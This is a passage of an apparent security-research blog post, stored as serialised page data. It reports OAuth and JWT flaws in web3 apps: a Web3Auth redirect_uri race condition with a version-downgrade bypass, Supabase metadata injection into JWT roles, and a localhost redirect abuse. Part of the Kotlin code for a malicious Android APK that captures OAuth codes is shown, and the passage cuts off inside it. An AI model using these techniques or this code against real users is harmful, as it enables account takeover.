server.",{"type":25,"tag":34,"props":70763,"children":70764},{},[70765],{"type":25,"tag":127,"props":70766,"children":70768},{"alt":51656,"src":70767},"/posts/web2-in-web3/image-2.png",[],{"type":25,"tag":40,"props":70770,"children":70772},{"id":70771},"race-condition",[70773],{"type":31,"value":70774},"Race Condition",{"type":25,"tag":34,"props":70776,"children":70777},{},[70778,70780,70785,70787,70793,70795,70800,70802,70807],{"type":31,"value":70779},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":25,"tag":115,"props":70781,"children":70783},{"className":70782},[],[70784],{"type":31,"value":70692},{"type":31,"value":70786}," and later used in the ",{"type":25,"tag":115,"props":70788,"children":70790},{"className":70789},[],[70791],{"type":31,"value":70792},"/end",{"type":31,"value":70794}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":25,"tag":115,"props":70796,"children":70798},{"className":70797},[],[70799],{"type":31,"value":70692},{"type":31,"value":70801},") but before  use (",{"type":25,"tag":115,"props":70803,"children":70805},{"className":70804},[],[70806],{"type":31,"value":70792},{"type":31,"value":3953},{"type":25,"tag":34,"props":70809,"children":70810},{},[70811,70813,70820,70822,70827],{"type":31,"value":70812},"To exploit this ",{"type":25,"tag":71,"props":70814,"children":70817},{"href":70815,"rel":70816},"https://portswigger.net/web-security/race-conditions",[75],[70818],{"type":31,"value":70819},"race condition",{"type":31,"value":70821},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":25,"tag":115,"props":70823,"children":70825},{"className":70824},[],[70826],{"type":31,"value":70737},{"type":31,"value":70828}," but with modified malicious parameters.",{"type":25,"tag":34,"props":70830,"children":70831},{},[70832],{"type":25,"tag":1252,"props":70833,"children":70834},{},[70835],{"type":31,"value":70836},"What can be modified to achieve something impactful?",{"type":25,"tag":34,"props":70838,"children":70839},{},[70840,70842,70848,70850,70855],{"type":31,"value":70841},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":25,"tag":115,"props":70843,"children":70845},{"className":70844},[],[70846],{"type":31,"value":70847},"redirect_uri",{"type":31,"value":70849}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":25,"tag":115,"props":70851,"children":70853},{"className":70852},[],[70854],{"type":31,"value":70679},{"type":31,"value":80},{"type":25,"tag":34,"props":70857,"children":70858},{},[70859],{"type":25,"tag":127,"props":70860,"children":70862},{"alt":51656,"src":70861},"/posts/web2-in-web3/image-3.png",[],{"type":25,"tag":34,"props":70864,"children":70865},{},[70866],{"type":31,"value":70867},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":25,"tag":40,"props":70869,"children":70871},{"id":70870},"patch-bypass",[70872],{"type":31,"value":70873},"Patch & Bypass",{"type":25,"tag":34,"props":70875,"children":70876},{},[70877],{"type":31,"value":70878},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":25,"tag":34,"props":70880,"children":70881},{},[70882],{"type":31,"value":70883},"To bypass the fix we were able to change the version in the URL:",{"type":25,"tag":18183,"props":70885,"children":70886},{},[70887,70898],{"type":25,"tag":6948,"props":70888,"children":70889},{},[70890,70896],{"type":25,"tag":115,"props":70891,"children":70893},{"className":70892},[],[70894],{"type":31,"value":70895},"https://auth.web3auth.io/v8/start",{"type":31,"value":70897}," (latest version)",{"type":25,"tag":6948,"props":70899,"children":70900},{},[70901,70907],{"type":25,"tag":115,"props":70902,"children":70904},{"className":70903},[],[70905],{"type":31,"value":70906},"https://auth.web3auth.io/v6/start",{"type":31,"value":70908}," (bypass)",{"type":25,"tag":34,"props":70910,"children":70911},{},[70912],{"type":31,"value":70913},"We reported this issue, and it was addressed just as quickly!",{"type":25,"tag":26,"props":70915,"children":70917},{"id":70916},"supabase-metadata-manipulation",[70918],{"type":31,"value":70919},"Supabase metadata manipulation",{"type":25,"tag":40,"props":70921,"children":70923},{"id":70922},"supabase-authentication-flow",[70924],{"type":31,"value":70925},"Supabase Authentication flow",{"type":25,"tag":34,"props":70927,"children":70928},{},[70929,70936,70938,70945],{"type":25,"tag":71,"props":70930,"children":70933},{"href":70931,"rel":70932},"https://supabase.com/docs/guides/auth",[75],[70934],{"type":31,"value":70935},"Supabase",{"type":31,"value":70937}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":25,"tag":71,"props":70939,"children":70942},{"href":70940,"rel":70941},"https://jwt.io/",[75],[70943],{"type":31,"value":70944},"JWT",{"type":31,"value":70946}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":25,"tag":40,"props":70948,"children":70950},{"id":70949},"jwt-verification",[70951],{"type":31,"value":70952},"JWT verification",{"type":25,"tag":34,"props":70954,"children":70955},{},[70956,70958,70963,70964,70970,70972,70978],{"type":31,"value":70957},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":25,"tag":115,"props":70959,"children":70961},{"className":70960},[],[70962],{"type":31,"value":70605},{"type":31,"value":12493},{"type":25,"tag":115,"props":70965,"children":70967},{"className":70966},[],[70968],{"type":31,"value":70969},"identity_data",{"type":31,"value":70971},", in a signup request by manipulating the input inside the ",{"type":25,"tag":115,"props":70973,"children":70975},{"className":70974},[],[70976],{"type":31,"value":70977},"\"data\": {}",{"type":31,"value":70979}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":25,"tag":34,"props":70981,"children":70982},{},[70983,70985,70991,70992,70998,71000,71006],{"type":31,"value":70984},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":25,"tag":115,"props":70986,"children":70988},{"className":70987},[],[70989],{"type":31,"value":70990},"\"role\": \"admin\"",{"type":31,"value":14636},{"type":25,"tag":115,"props":70993,"children":70995},{"className":70994},[],[70996],{"type":31,"value":70997},"\"email_verified\": true",{"type":31,"value":70999},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":25,"tag":115,"props":71001,"children":71003},{"className":71002},[],[71004],{"type":31,"value":71005},"\"test\": \"test\"",{"type":31,"value":71007},", enabling us to inject arbitrary data into the final JWT token.",{"type":25,"tag":34,"props":71009,"children":71010},{},[71011],{"type":25,"tag":127,"props":71012,"children":71014},{"alt":51656,"src":71013},"/posts/web2-in-web3/image-4.png",[],{"type":25,"tag":34,"props":71016,"children":71017},{},[71018],{"type":31,"value":71019},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":25,"tag":34,"props":71021,"children":71022},{},[71023],{"type":31,"value":71024},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":25,"tag":191,"props":71026,"children":71028},{"className":193,"code":71027,"language":195,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[71029],{"type":25,"tag":115,"props":71030,"children":71031},{"__ignoreMap":7},[71032,71057,71069,71138,71187,71235,71280,71303,71340,71356,71363],{"type":25,"tag":201,"props":71033,"children":71034},{"class":203,"line":204},[71035,71039,71044,71048,71053],{"type":25,"tag":201,"props":71036,"children":71037},{"style":208},[71038],{"type":31,"value":211},{"type":25,"tag":201,"props":71040,"children":71041},{"style":214},[71042],{"type":31,"value":71043}," parseSupaBase",{"type":25,"tag":201,"props":71045,"children":71046},{"style":220},[71047],{"type":31,"value":298},{"type":25,"tag":201,"props":71049,"children":71050},{"style":246},[71051],{"type":31,"value":71052},"token",{"type":25,"tag":201,"props":71054,"children":71055},{"style":220},[71056],{"type":31,"value":275},{"type":25,"tag":201,"props":71058,"children":71059},{"class":203,"line":226},[71060,71065],{"type":25,"tag":201,"props":71061,"children":71062},{"style":230},[71063],{"type":31,"value":71064},"    try",{"type":25,"tag":201,"props":71066,"children":71067},{"style":220},[71068],{"type":31,"value":327},{"type":25,"tag":201,"props":71070,"children":71071},{"class":203,"line":278},[71072,71076,71080,71085,71089,71094,71098,71103,71107,71111,71116,71120,71125,71129,71134],{"type":25,"tag":201,"props":71073,"children":71074},{"style":208},[71075],{"type":31,"value":1830},{"type":25,"tag":201,"props":71077,"children":71078},{"style":220},[71079],{"type":31,"value":4088},{"type":25,"tag":201,"props":71081,"children":71082},{"style":246},[71083],{"type":31,"value":71084},"header",{"type":25,"tag":201,"props":71086,"children":71087},{"style":220},[71088],{"type":31,"value":919},{"type":25,"tag":201,"props":71090,"children":71091},{"style":246},[71092],{"type":31,"value":71093},"payload",{"type":25,"tag":201,"props":71095,"children":71096},{"style":220},[71097],{"type":31,"value":919},{"type":25,"tag":201,"props":71099,"children":71100},{"style":246},[71101],{"type":31,"value":71102},"signature",{"type":25,"tag":201,"props":71104,"children":71105},{"style":220},[71106],{"type":31,"value":10169},{"type":25,"tag":201,"props":71108,"children":71109},{"style":261},[71110],{"type":31,"value":1383},{"type":25,"tag":201,"props":71112,"children":71113},{"style":246},[71114],{"type":31,"value":71115}," token",{"type":25,"tag":201,"props":71117,"children":71118},{"style":220},[71119],{"type":31,"value":80},{"type":25,"tag":201,"props":71121,"children":71122},{"style":214},[71123],{"type":31,"value":71124},"split",{"type":25,"tag":201,"props":71126,"children":71127},{"style":220},[71128],{"type":31,"value":298},{"type":25,"tag":201,"props":71130,"children":71131},{"style":267},[71132],{"type":31,"value":71133},"'.'",{"type":25,"tag":201,"props":71135,"children":71136},{"style":220},[71137],{"type":31,"value":308},{"type":25,"tag":201,"props":71139,"children":71140},{"class":203,"line":311},[71141,71145,71150,71154,71158,71162,71166,71170,71175,71179,71183],{"type":25,"tag":201,"props":71142,"children":71143},{"style":208},[71144],{"type":31,"value":1830},{"type":25,"tag":201,"props":71146,"children":71147},{"style":246},[71148],{"type":31,"value":71149}," decodedHeader",{"type":25,"tag":201,"props":71151,"children":71152},{"style":261},[71153],{"type":31,"value":413},{"type":25,"tag":201,"props":71155,"children":71156},{"style":246},[71157],{"type":31,"value":38598},{"type":25,"tag":201,"props":71159,"children":71160},{"style":220},[71161],{"type":31,"value":80},{"type":25,"tag":201,"props":71163,"children":71164},{"style":214},[71165],{"type":31,"value":40282},{"type":25,"tag":201,"props":71167,"children":71168},{"style":220},[71169],{"type":31,"value":298},{"type":25,"tag":201,"props":71171,"children":71172},{"style":214},[71173],{"type":31,"value":71174},"atob",{"type":25,"tag":201,"props":71176,"children":71177},{"style":220},[71178],{"type":31,"value":298},{"type":25,"tag":201,"props":71180,"children":71181},{"style":246},[71182],{"type":31,"value":71084},{"type":25,"tag":201,"props":71184,"children":71185},{"style":220},[71186],{"type":31,"value":8732},{"type":25,"tag":201,"props":71188,"children":71189},{"class":203,"line":330},[71190,71194,71199,71203,71207,71211,71215,71219,71223,71227,71231],{"type":25,"tag":201,"props":71191,"children":71192},{"style":208},[71193],{"type":31,"value":1830},{"type":25,"tag":201,"props":71195,"children":71196},{"style":246},[71197],{"type":31,"value":71198}," decodedPayload",{"type":25,"tag":201,"props":71200,"children":71201},{"style":261},[71202],{"type":31,"value":413},{"type":25,"tag":201,"props":71204,"children":71205},{"style":246},[71206],{"type":31,"value":38598},{"type":25,"tag":201,"props":71208,"children":71209},{"style":220},[71210],{"type":31,"value":80},{"type":25,"tag":201,"props":71212,"children":71213},{"style":214},[71214],{"type":31,"value":40282},{"type":25,"tag":201,"props":71216,"children":71217},{"style":220},[71218],{"type":31,"value":298},{"type":25,"tag":201,"props":71220,"children":71221},{"style":214},[71222],{"type":31,"value":71174},{"type":25,"tag":201,"props":71224,"children":71225},{"style":220},[71226],{"type":31,"value":298},{"type":25,"tag":201,"props":71228,"children":71229},{"style":246},[71230],{"type":31,"value":71093},{"type":25,"tag":201,"props":71232,"children":71233},{"style":220},[71234],{"type":31,"value":8732},{"type":25,"tag":201,"props":71236,"children":71237},{"class":203,"line":397},[71238,71242,71246,71251,71255,71259,71264,71268,71272,71276],{"type":25,"tag":201,"props":71239,"children":71240},{"style":230},[71241],{"type":31,"value":17239},{"type":25,"tag":201,"props":71243,"children":71244},{"style":220},[71245],{"type":31,"value":11090},{"type":25,"tag":201,"props":71247,"children":71248},{"style":246},[71249],{"type":31,"value":71250},"header:",{"type":25,"tag":201,"props":71252,"children":71253},{"style":246},[71254],{"type":31,"value":71149},{"type":25,"tag":201,"props":71256,"children":71257},{"style":220},[71258],{"type":31,"value":919},{"type":25,"tag":201,"props":71260,"children":71261},{"style":246},[71262],{"type":31,"value":71263},"payload:",{"type":25,"tag":201,"props":71265,"children":71266},{"style":246},[71267],{"type":31,"value":71198},{"type":25,"tag":201,"props":71269,"children":71270},{"style":220},[71271],{"type":31,"value":919},{"type":25,"tag":201,"props":71273,"children":71274},{"style":246},[71275],{"type":31,"value":71102},{"type":25,"tag":201,"props":71277,"children":71278},{"style":220},[71279],{"type":31,"value":19797},{"type":25,"tag":201,"props":71281,"children":71282},{"class":203,"line":437},[71283,71287,71291,71295,71299],{"type":25,"tag":201,"props":71284,"children":71285},{"style":220},[71286],{"type":31,"value":17274},{"type":25,"tag":201,"props":71288,"children":71289},{"style":230},[71290],{"type":31,"value":49488},{"type":25,"tag":201,"props":71292,"children":71293},{"style":220},[71294],{"type":31,"value":238},{"type":25,"tag":201,"props":71296,"children":71297},{"style":246},[71298],{"type":31,"value":293},{"type":25,"tag":201,"props":71300,"children":71301},{"style":220},[71302],{"type":31,"value":275},{"type":25,"tag":201,"props":71304,"children":71305},{"class":203,"line":464},[71306,71311,71315,71319,71323,71328,71332,71336],{"type":25,"tag":201,"props":71307,"children":71308},{"style":246},[71309],{"type":31,"value":71310},"        console",{"type":25,"tag":201,"props":71312,"children":71313},{"style":220},[71314],{"type":31,"value":80},{"type":25,"tag":201,"props":71316,"children":71317},{"style":214},[71318],{"type":31,"value":293},{"type":25,"tag":201,"props":71320,"children":71321},{"style":220},[71322],{"type":31,"value":298},{"type":25,"tag":201,"props":71324,"children":71325},{"style":267},[71326],{"type":31,"value":71327},"'Error parsing token:'",{"type":25,"tag":201,"props":71329,"children":71330},{"style":220},[71331],{"type":31,"value":919},{"type":25,"tag":201,"props":71333,"children":71334},{"style":246},[71335],{"type":31,"value":293},{"type":25,"tag":201,"props":71337,"children":71338},{"style":220},[71339],{"type":31,"value":308},{"type":25,"tag":201,"props":71341,"children":71342},{"class":203,"line":490},[71343,71347,71352],{"type":25,"tag":201,"props":71344,"children":71345},{"style":230},[71346],{"type":31,"value":17239},{"type":25,"tag":201,"props":71348,"children":71349},{"style":208},[71350],{"type":31,"value":71351}," null",{"type":25,"tag":201,"props":71353,"children":71354},{"style":220},[71355],{"type":31,"value":461},{"type":25,"tag":201,"props":71357,"children":71358},{"class":203,"line":499},[71359],{"type":25,"tag":201,"props":71360,"children":71361},{"style":220},[71362],{"type":31,"value":4861},{"type":25,"tag":201,"props":71364,"children":71365},{"class":203,"line":522},[71366],{"type":25,"tag":201,"props":71367,"children":71368},{"style":220},[71369],{"type":31,"value":1187},{"type":25,"tag":40,"props":71371,"children":71372},{"id":41404},[71373],{"type":31,"value":41407},{"type":25,"tag":34,"props":71375,"children":71376},{},[71377,71379,71386,71388,71394],{"type":31,"value":71378},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":25,"tag":71,"props":71380,"children":71383},{"href":71381,"rel":71382},"https://supabase.com/docs/guides/database/postgres/row-level-security",[75],[71384],{"type":31,"value":71385},"Row-Level Security",{"type":31,"value":71387}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":25,"tag":115,"props":71389,"children":71391},{"className":71390},[],[71392],{"type":31,"value":71393},"app_metadata",{"type":31,"value":71395},". These fields must be strictly validated at every step of their creation and update processes.",{"type":25,"tag":26,"props":71397,"children":71399},{"id":71398},"oauth-in-development-environments",[71400],{"type":31,"value":71401},"OAuth in development environments",{"type":25,"tag":34,"props":71403,"children":71404},{},[71405,71407,71414,71416,71421],{"type":31,"value":71406},"After watching a ",{"type":25,"tag":71,"props":71408,"children":71411},{"href":71409,"rel":71410},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[75],[71412],{"type":31,"value":71413},"talk",{"type":31,"value":71415}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":25,"tag":115,"props":71417,"children":71419},{"className":71418},[],[71420],{"type":31,"value":70847},{"type":31,"value":71422}," parameter during the OAuth flow.",{"type":25,"tag":34,"props":71424,"children":71425},{},[71426,71428,71435],{"type":31,"value":71427},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":25,"tag":71,"props":71429,"children":71432},{"href":71430,"rel":71431},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[75],[71433],{"type":31,"value":71434},"Remote Code Execution",{"type":31,"value":71436}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":25,"tag":34,"props":71438,"children":71439},{},[71440,71442,71448],{"type":31,"value":71441},"In one of our client's implementations, we identified that ",{"type":25,"tag":115,"props":71443,"children":71445},{"className":71444},[],[71446],{"type":31,"value":71447},"localhost:3000",{"type":31,"value":71449}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":25,"tag":34,"props":71451,"children":71452},{},[71453],{"type":31,"value":71454},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":25,"tag":191,"props":71456,"children":71460},{"className":71457,"code":71458,"language":71459,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[71461],{"type":25,"tag":115,"props":71462,"children":71463},{"__ignoreMap":7},[71464],{"type":25,"tag":201,"props":71465,"children":71466},{"class":203,"line":204},[71467],{"type":25,"tag":201,"props":71468,"children":71469},{},[71470],{"type":31,"value":71458},{"type":25,"tag":34,"props":71472,"children":71473},{},[71474],{"type":31,"value":71475},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":25,"tag":191,"props":71477,"children":71481},{"className":71478,"code":71479,"language":71480,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[71482],{"type":25,"tag":115,"props":71483,"children":71484},{"__ignoreMap":7},[71485,71512,71519,71551,71573,71580,71588,71610,71622,71634,71669,71695,71745,71752,71759,71766,71774,71796,71831,71844,71851,71858,71879,71905,71917,71938,71955,71967,71993,72032,72053,72061,72073,72098,72110,72123,72131,72138,72146,72154,72161,72191,72198],{"type":25,"tag":201,"props":71486,"children":71487},{"class":203,"line":204},[71488,71493,71498,71503,71508],{"type":25,"tag":201,"props":71489,"children":71490},{"style":208},[71491],{"type":31,"value":71492},"class",{"type":25,"tag":201,"props":71494,"children":71495},{"style":4925},[71496],{"type":31,"value":71497}," MainActivity",{"type":25,"tag":201,"props":71499,"children":71500},{"style":220},[71501],{"type":31,"value":71502}," : ",{"type":25,"tag":201,"props":71504,"children":71505},{"style":4925},[71506],{"type":31,"value":71507},"AppCompatActivity",{"type":25,"tag":201,"props":71509,"children":71510},{"style":220},[71511],{"type":31,"value":223},{"type":25,"tag":201,"props":71513,"children":71514},{"class":203,"line":226},[71515],{"type":25,"tag":201,"props":71516,"children":71517},{"emptyLinePlaceholder":17},[71518],{"type":31,"value":496},{"type":25,"tag":201,"props":71520,"children":71521},{"class":203,"line":278},[71522,71527,71531,71536,71541,71546],{"type":25,"tag":201,"props":71523,"children":71524},{"style":208},[71525],{"type":31,"value":71526},"    override",{"type":25,"tag":201,"props":71528,"children":71529},{"style":208},[71530],{"type":31,"value":7715},{"type":25,"tag":201,"props":71532,"children":71533},{"style":214},[71534],{"type":31,"value":71535}," onCreate",{"type":25,"tag":201,"props":71537,"children":71538},{"style":220},[71539],{"type":31,"value":71540},"(savedInstanceState: ",{"type":25,"tag":201,"props":71542,"children":71543},{"style":4925},[71544],{"type":31,"value":71545},"Bundle",{"type":25,"tag":201,"props":71547,"children":71548},{"style":220},[71549],{"type":31,"value":71550},"?) {\n",{"type":25,"tag":201,"props":71552,"children":71553},{"class":203,"line":311},[71554,71559,71563,71568],{"type":25,"tag":201,"props":71555,"children":71556},{"style":208},[71557],{"type":31,"value":71558},"        super",{"type":25,"tag":201,"props":71560,"children":71561},{"style":220},[71562],{"type":31,"value":80},{"type":25,"tag":201,"props":71564,"children":71565},{"style":214},[71566],{"type":31,"value":71567},"onCreate",{"type":25,"tag":201,"props":71569,"children":71570},{"style":220},[71571],{"type":31,"value":71572},"(savedInstanceState)\n",{"type":25,"tag":201,"props":71574,"children":71575},{"class":203,"line":330},[71576],{"type":25,"tag":201,"props":71577,"children":71578},{"emptyLinePlaceholder":17},[71579],{"type":31,"value":496},{"type":25,"tag":201,"props":71581,"children":71582},{"class":203,"line":397},[71583],{"type":25,"tag":201,"props":71584,"children":71585},{"style":4497},[71586],{"type":31,"value":71587},"        // Start the Ktor web server\n",{"type":25,"tag":201,"props":71589,"children":71590},{"class":203,"line":437},[71591,71596,71601,71606],{"type":25,"tag":201,"props":71592,"children":71593},{"style":214},[71594],{"type":31,"value":71595},"        CoroutineScope",{"type":25,"tag":201,"props":71597,"children":71598},{"style":220},[71599],{"type":31,"value":71600},"(Dispatchers.IO).",{"type":25,"tag":201,"props":71602,"children":71603},{"style":214},[71604],{"type":31,"value":71605},"launch",{"type":25,"tag":201,"props":71607,"children":71608},{"style":220},[71609],{"type":31,"value":327},{"type":25,"tag":201,"props":71611,"children":71612},{"class":203,"line":464},[71613,71618],{"type":25,"tag":201,"props":71614,"children":71615},{"style":230},[71616],{"type":31,"value":71617},"            try",{"type":25,"tag":201,"props":71619,"children":71620},{"style":220},[71621],{"type":31,"value":327},{"type":25,"tag":201,"props":71623,"children":71624},{"class":203,"line":490},[71625,71630],{"type":25,"tag":201,"props":71626,"children":71627},{"style":214},[71628],{"type":31,"value":71629},"                startWebServer",{"type":25,"tag":201,"props":71631,"children":71632},{"style":220},[71633],{"type":31,"value":1882},{"type":25,"tag":201,"props":71635,"children":71636},{"class":203,"line":499},[71637,71642,71647,71651,71656,71660,71665],{"type":25,"tag":201,"props":71638,"children":71639},{"style":220},[71640],{"type":31,"value":71641},"                Log.",{"type":25,"tag":201,"props":71643,"children":71644},{"style":214},[71645],{"type":31,"value":71646},"d",{"type":25,"tag":201,"props":71648,"children":71649},{"style":220},[71650],{"type":31,"value":298},{"type":25,"tag":201,"props":71652,"children":71653},{"style":267},[71654],{"type":31,"value":71655},"\"WebServer\"",{"type":25,"tag":201,"props":71657,"children":71658},{"style":220},[71659],{"type":31,"value":919},{"type":25,"tag":201,"props":71661,"children":71662},{"style":267},[71663],{"type":31,"value":71664},"\"Server started on http://localhost:3000\"",{"type":25,"tag":201,"props":71666,"children":71667},{"style":220},[71668],{"type":31,"value":4666},{"type":25,"tag":201,"props":71670,"children":71671},{"class":203,"line":522},[71672,71677,71681,71686,71691],{"type":25,"tag":201,"props":71673,"children":71674},{"style":220},[71675],{"type":31,"value":71676},"            } ",{"type":25,"tag":201,"props":71678,"children":71679},{"style":208},[71680],{"type":31,"value":49488},{"type":25,"tag":201,"props":71682,"children":71683},{"style":220},[71684],{"type":31,"value":71685}," (e: ",{"type":25,"tag":201,"props":71687,"children":71688},{"style":4925},[71689],{"type":31,"value":71690},"Exception",{"type":25,"tag":201,"props":71692,"children":71693},{"style":220},[71694],{"type":31,"value":275},{"type":25,"tag":201,"props":71696,"children":71697},{"class":203,"line":531},[71698,71702,71706,71710,71714,71718,71723,71727,71732,71736,71740],{"type":25,"tag":201,"props":71699,"children":71700},{"style":220},[71701],{"type":31,"value":71641},{"type":25,"tag":201,"props":71703,"children":71704},{"style":214},[71705],{"type":31,"value":52532},{"type":25,"tag":201,"props":71707,"children":71708},{"style":220},[71709],{"type":31,"value":298},{"type":25,"tag":201,"props":71711,"children":71712},{"style":267},[71713],{"type":31,"value":71655},{"type":25,"tag":201,"props":71715,"children":71716},{"style":220},[71717],{"type":31,"value":919},{"type":25,"tag":201,"props":71719,"children":71720},{"style":267},[71721],{"type":31,"value":71722},"\"Error starting server: ",{"type":25,"tag":201,"props":71724,"children":71725},{"style":208},[71726],{"type":31,"value":3045},{"type":25,"tag":201,"props":71728,"children":71729},{"style":261},[71730],{"type":31,"value":71731},"e.message",{"type":25,"tag":201,"props":71733,"children":71734},{"style":208},[71735],{"type":31,"value":3078},{"type":25,"tag":201,"props":71737,"children":71738},{"style":267},[71739],{"type":31,"value":1557},{"type":25,"tag":201,"props":71741,"children":71742},{"style":220},[71743],{"type":31,"value":71744},", e)\n",{"type":25,"tag":201,"props":71746,"children":71747},{"class":203,"line":550},[71748],{"type":25,"tag":201,"props":71749,"children":71750},{"style":220},[71751],{"type":31,"value":59964},{"type":25,"tag":201,"props":71753,"children":71754},{"class":203,"line":563},[71755],{"type":25,"tag":201,"props":71756,"children":71757},{"style":220},[71758],{"type":31,"value":4853},{"type":25,"tag":201,"props":71760,"children":71761},{"class":203,"line":572},[71762],{"type":25,"tag":201,"props":71763,"children":71764},{"emptyLinePlaceholder":17},[71765],{"type":31,"value":496},{"type":25,"tag":201,"props":71767,"children":71768},{"class":203,"line":590},[71769],{"type":25,"tag":201,"props":71770,"children":71771},{"style":4497},[71772],{"type":31,"value":71773},"        // Open the Google OAuth page\n",{"type":25,"tag":201,"props":71775,"children":71776},{"class":203,"line":608},[71777,71782,71787,71791],{"type":25,"tag":201,"props":71778,"children":71779},{"style":208},[71780],{"type":31,"value":71781},"        val",{"type":25,"tag":201,"props":71783,"children":71784},{"style":220},[71785],{"type":31,"value":71786}," googleOAuthUrl ",{"type":25,"tag":201,"props":71788,"children":71789},{"style":261},[71790],{"type":31,"value":1383},{"type":25,"tag":201,"props":71792,"children":71793},{"style":267},[71794],{"type":31,"value":71795}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":25,"tag":201,"props":71797,"children":71798},{"class":203,"line":617},[71799,71803,71808,71812,71817,71822,71826],{"type":25,"tag":201,"props":71800,"children":71801},{"style":208},[71802],{"type":31,"value":71781},{"type":25,"tag":201,"props":71804,"children":71805},{"style":220},[71806],{"type":31,"value":71807}," browserIntent ",{"type":25,"tag":201,"props":71809,"children":71810},{"style":261},[71811],{"type":31,"value":1383},{"type":25,"tag":201,"props":71813,"children":71814},{"style":214},[71815],{"type":31,"value":71816}," Intent",{"type":25,"tag":201,"props":71818,"children":71819},{"style":220},[71820],{"type":31,"value":71821},"(Intent.ACTION_VIEW, 